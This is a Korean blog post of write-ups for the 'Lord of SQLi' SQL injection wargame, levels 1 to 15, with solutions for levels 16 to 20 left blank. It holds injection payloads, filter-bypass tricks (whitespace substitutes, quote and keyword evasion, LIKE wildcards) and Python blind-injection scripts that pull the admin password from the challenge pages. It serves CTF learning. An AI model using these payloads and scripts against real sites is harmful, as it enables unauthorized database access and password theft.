[LOS(Lord Of SQLi)] write-ups

yoobi·2022년 5월 31일
0
post-thumbnail

01-gremlin

풀이 : #으로 뒷 코드 주석처리를 할 수 있다. 이때, %23으로 url 인코딩하여 넣어야 한다

target :
if($result['id'])
	solve("gremlin");

payload : ?id=' or 1=1#
query : select id from prob_gremlin where id='' or 1=1#' and pw=''

02-cobolt

풀이 : admin을 조회해야 하므로 id=admin으로 조회해준다

target:
if($result['id'] == 'admin')
	solve("cobolt");
    
payload : ?id=admin'#
query : select id from prob_cobolt where id='admin'#' and pw=md5('')

03-goblin

풀이 : ' 이 필터가 되고 있기 때문에 이를 우회하기 위해 char() 함수를 사용했다. 0x61~~ 과 같이 16진수로도 우회가 가능하다.

target : 
if($result['id'] == 'admin')
	solve("goblin");

filter : 
if(preg_match('/\'|\"|\`/i', $_GET[no]))
	exit("No Quotes ~_~");

payload : ?no=0 or id=char(97,100,109,105,110)
query : select id from prob_goblin where id='guest' and no=0 or id=char(97,100,109,105,110)

04-orc

풀이 : db에 있는 pw 자체를 알아내야하기 때문에 blind SQLi 문제임을 알 수 있다.

target :
if(($result['pw']) && ($result['pw'] == $_GET['pw']))
	solve("orc");

exploit.py

import requests
import string

header = {"Cookie": "PHPSESSID=;"}
url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
string_data = string.digits + string.ascii_letters

print(string_data)

pw = ""
pw_len = 1

# find pw length
while True:
    data = "?pw=' or id='admin' and length(pw)={}%23".format(str(pw_len))
    response = requests.get(url + data, headers=header)
    if response.text.find("Hello admin") != -1:
        break
    print("[*] Finding... : " + str(pw_len))
    pw_len += 1
print("[+] Get pw Length : " + str(pw_len))

# find pw
for idx in range(1, pw_len + 1):
    for i in string_data:
        # data = "?pw=' or id='admin' and pw like '{}{}%".format(pw,i)
        # data = "?pw=' or id='admin' and substr(pw,{},1)={}%23".format(idx,i)
        data = "?pw=' or id='admin' and ord(substr(pw,{},1))={}%23".format(idx,ord(i))
        # print(data)
        response = requests.get(url + data, headers=header)
        if response.text.find("Hello admin") != -1:
            pw = pw + i
            print("[*] Finding... : " + pw)
            break
print("[+] Found pw : " + pw)

05-wolfman

풀이 : whitepsace가 막혀 있다. %20(whitespace) 대신 %09(tab)으로 우회가 가능하다

target : 
if($result['id'] == 'admin')
	solve("wolfman"); 

filter : 
if(preg_match('/ /i', $_GET[pw]))
	exit("No whitespace ~_~"); 

payload : ?pw='%09or%09id='admin'%23
query : select id from prob_wolfman where id='guest' and pw='' or id='admin'#'

06-darkelf

풀이 : and, or 이 필터링 되고 있는데, 이는 && || 로 우회가 가능하다

target : 
if($result['id'] == 'admin')
	solve("darkelf");

filter : 
if(preg_match('/or|and/i', $_GET[pw]))
	exit("HeHe");

payload : ?pw=' || id='admin'%23
query : select id from prob_darkelf where id='guest' and pw='' || id='admin'#'

07-orge

풀이 : db에 있는 pw 자체를 알아내야하기 때문에 blind SQLi 문제임을 알 수 있다. and, or 이 필터링 되고 있는데, 이는 &&(%26%26) || 로 우회가 가능하다

target : 
if(($result['pw']) && ($result['pw'] == $_GET['pw']))
	solve("orge");

filter : 
if(preg_match('/or|and/i', $_GET[pw]))
	exit("HeHe");
exploit.py

import requests
import string

header = {"Cookie": "PHPSESSID=;"}
url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
string_data = string.digits + string.ascii_letters

print(string_data)

pw = ""
pw_len = 1

# find pw length
while True:
    data = "?pw=' || id='admin' %26%26 length(pw)={}%23".format(str(pw_len))
    response = requests.get(url + data, headers=header)
    if response.text.find("Hello admin") != -1:
        break
    print("[*] Finding... : " + str(pw_len))
    pw_len += 1
print("[+] Get pw Length : " + str(pw_len))

# find pw
for idx in range(1, pw_len + 1):
    for i in string_data:
        # data = "?pw=' or id='admin' and pw like '{}{}%".format(pw,i)
        # data = "?pw=' or id='admin' and substr(pw,{},1)={}%23".format(idx,i)
        data = "?pw=' || id='admin' %26%26 ascii(substr(pw,{},1))={}%23".format(idx,ord(i))
        # print(data)
        response = requests.get(url + data, headers=header)
        if response.text.find("Hello admin") != -1:
            pw = pw + i
            print("[*] Finding... : " + pw)
            break
print("[+] Found pw : " + pw)

08-troll

풀이 : admin을 필터링하고 있지만, mysql에서는 대소문자 구분을 하지 않으므로 ADMIN으로 우회할 수 있다

target : 
if($result['id'] == 'admin')
	solve("troll");

filter :
if(preg_match("/admin/", $_GET[id]))
	exit("HeHe");
    
payload : ?id=ADMIN
query : select id from prob_troll where id='ADMIN'

09-vampire

풀이 : strtolower로 대문자를 사용하지 못하게하고, "admin"을 ""로 replace하고 있지만, adadminmin으로 우회가 가능하다

target : 
if($result['id'] == 'admin')
	solve("vampire");

filter :
$_GET[id] = strtolower($_GET[id]);
$_GET[id] = str_replace("admin","",$_GET[id]);
    
payload : ?id=adadminmin
query : select id from prob_vampire where id='admin'

10-skeleton

풀이 : query 뒤에 and 1=0이 존재하므로 %23으로 주석처리 하였다

target : 
if($result['id'] == 'admin')
	solve("skeleton");
 
payload : ?pw=' or id='admin'%23
query : select id from prob_skeleton where id='guest' and pw='' or id='admin'#' and 1=0

11-golem

풀이 : db에 있는 pw 자체를 알아내야하기 때문에 blind SQLi 문제임을 알 수 있다. substr -> mid , = -> like로 우회가 가능하다

target : 
if(($result['pw']) && ($result['pw'] == $_GET['pw']))
	solve("golem"); 

filter : 
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); 
$_GET[pw] = addslashes($_GET[pw]);

exploit.py

import requests
import string

header = {"Cookie": "PHPSESSID=;"}
url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"
string_data = string.digits + string.ascii_letters

print(string_data)

pw = ""
pw_len = 1

# find pw length
while True:
    data = "?pw=' || id like 'admin' %26%26 length(pw) like {}%23".format(str(pw_len))
    response = requests.get(url + data, headers=header)
    if response.text.find("Hello admin") != -1:
        break
    print("[*] Finding... : " + str(pw_len))
    pw_len += 1
print("[+] Get pw Length : " + str(pw_len))

# find pw
for idx in range(1, pw_len + 1):
    for i in string_data:
        data = "?pw=' || id like 'admin' %26%26 ascii(mid(pw,{},1)) like {}%23".format(idx,ord(i))
        response = requests.get(url + data, headers=header)
        if response.text.find("Hello admin") != -1:
            pw = pw + i
            print("[*] Finding... : " + pw)
            break
print("[+] Found pw : " + pw)

12-darkknight

풀이 : db에 있는 pw 자체를 알아내야하기 때문에 blind SQLi 문제임을 알 수 있다. ascii가 막혀있으므로 ord를 사용하여 우회가 가능하다. id like 'admin' 사용 시 싱글쿼터(')가 막혀있는데, 더블쿼터(")로 우회가 가능하다.

target :
if(($result['pw']) && ($result['pw'] == $_GET['pw']))
	solve("darkknight");

filter :
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe");

exploit.py

import requests
import string

header = {"Cookie": "PHPSESSID=;"}
url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"
string_data = string.digits + string.ascii_letters

print(string_data)

pw = ""
pw_len = 1

# find pw length
while True:
    data = "?no=1 or id like \"admin\" %26%26 length(pw) like {}%23".format(str(pw_len))
    response = requests.get(url + data, headers=header)
    if response.text.find("Hello admin") != -1:
        break
    print("[*] Finding... : " + str(pw_len))
    pw_len += 1
print("[+] Get pw Length : " + str(pw_len))

# find pw
for idx in range(1, pw_len + 1):
    for i in string_data:
        data = "?no=1 or id like \"admin\" %26%26 ord(mid(pw,{},1)) like {}%23".format(idx,ord(i))
        response = requests.get(url + data, headers=header)
        if response.text.find("Hello admin") != -1:
            pw = pw + i
            print("[*] Finding... : " + pw)
            break
print("[+] Found pw : " + pw)

13-bugbear

풀이 : 12-darkknight와 달라진 점을 우회하면서 풀어내면 된다.

target :
if(($result['pw']) && ($result['pw'] == $_GET['pw']))
	solve("bugbear");

filter :
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no]))
	exit("No Hack ~_~"); 
if(preg_match('/\'/i', $_GET[pw]))
	exit("HeHe"); 
if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no]))
	exit("HeHe"); 
  • 공백 차단 -> %0a 우회 가능
  • like 차단 -> in 혹은 instr 우회 가능
    • in 사용법 : id in ("admin")
    • instr 사용법 : instr(id, "admin")
  • or 차단 -> || 우회 가능
  • or 차단으로 인한 ord 차단 -> hex 우회 가능

exploit.py

import requests
import string

header = {"Cookie": "PHPSESSID=;"}
url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"
string_data = string.digits + string.ascii_letters

print(string_data)

pw = ""
pw_len = 1

# find pw length
while True:
    data = "?no=1%0a||%0aid%0ain%0a(\"admin\")%0a%26%26%0alength(pw)%0ain%0a({})%23".format(str(pw_len))
    response = requests.get(url + data, headers=header)
    if response.text.find("Hello admin") != -1:
        break
    print("[*] Finding... : " + str(pw_len))
    pw_len += 1
print("[+] Get pw Length : " + str(pw_len))

# find pw
for idx in range(1, pw_len + 1):
    for i in string_data:
        data = "?no=1%0a||%0aid%0ain%0a(\"admin\")%0a%26%26%0ahex(mid(pw,{},1))%0ain%0a(hex({}))%23".format(idx,ord(i))
        response = requests.get(url + data, headers=header)
        if response.text.find("Hello admin") != -1:
            pw = pw + i
            print("[*] Finding... : " + pw)
            break
print("[+] Found pw : " + pw)

14-giant

풀이 : 웬만한 개행은 다 차단해놓은 문제이다.

target :
if($result[1234])
	solve("giant");

filter :
if(preg_match('/ |\n|\r|\t/i', $_GET[shit]))
	exit("HeHe"); 
  • 공백, \n, \r, \t 차단 -> %0b, %0c 우회 가능

15-assassin

풀이 : ' 사용이 불가능한 상황에서, 우회를 시도했으나 특별한 우회법을 찾지 못했다. pw like ''를 하고 있는 상황이니, %, _를 활용하여 문제를 풀 수 있다. 아래의 target을 보면 정확한 비밀번호는 몰라도 solve가 가능하다.

query : 
$query = "select id from prob_assassin where pw like '{$_GET[pw]}'";

target :
 if($result['id'] == 'admin')
 	solve("assassin");

filter :
if(preg_match('/\'/i', $_GET[pw]))
	exit("No Hack ~_~");
  • like에서의 %, _
    • a% -> a*
    • %a% -> *a*
    • a_ -> a.
    • ____ -> ....

위와 같이 정규식을 사용할 수 있다.

exploit.py

import requests
import string

header = {"Cookie": "PHPSESSID=;"}
url = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
string_data = string.digits + string.ascii_letters

print(string_data)

pw = ""
guest_pw = ""

# find pw length
while True:
    for i in string_data:
        data = "?pw={}%".format(guest_pw+i)
        response = requests.get(url + data, headers=header)
        if response.text.find("Hello admin") != -1:
            print("[+] Hello admin : " + str(guest_pw+i) + "%")
            exit()
        if response.text.find("Hello guest") != -1:
            print("[+] Hello guest : " + str(guest_pw+i) + "%")
            guest_pw += i

16-succubus

풀이 :

17-zombie_assassin

풀이 :

18-nightmare

풀이 :

19-xavis

풀이 :

20-dragon

풀이 :

profile
this is yoobi

0개의 댓글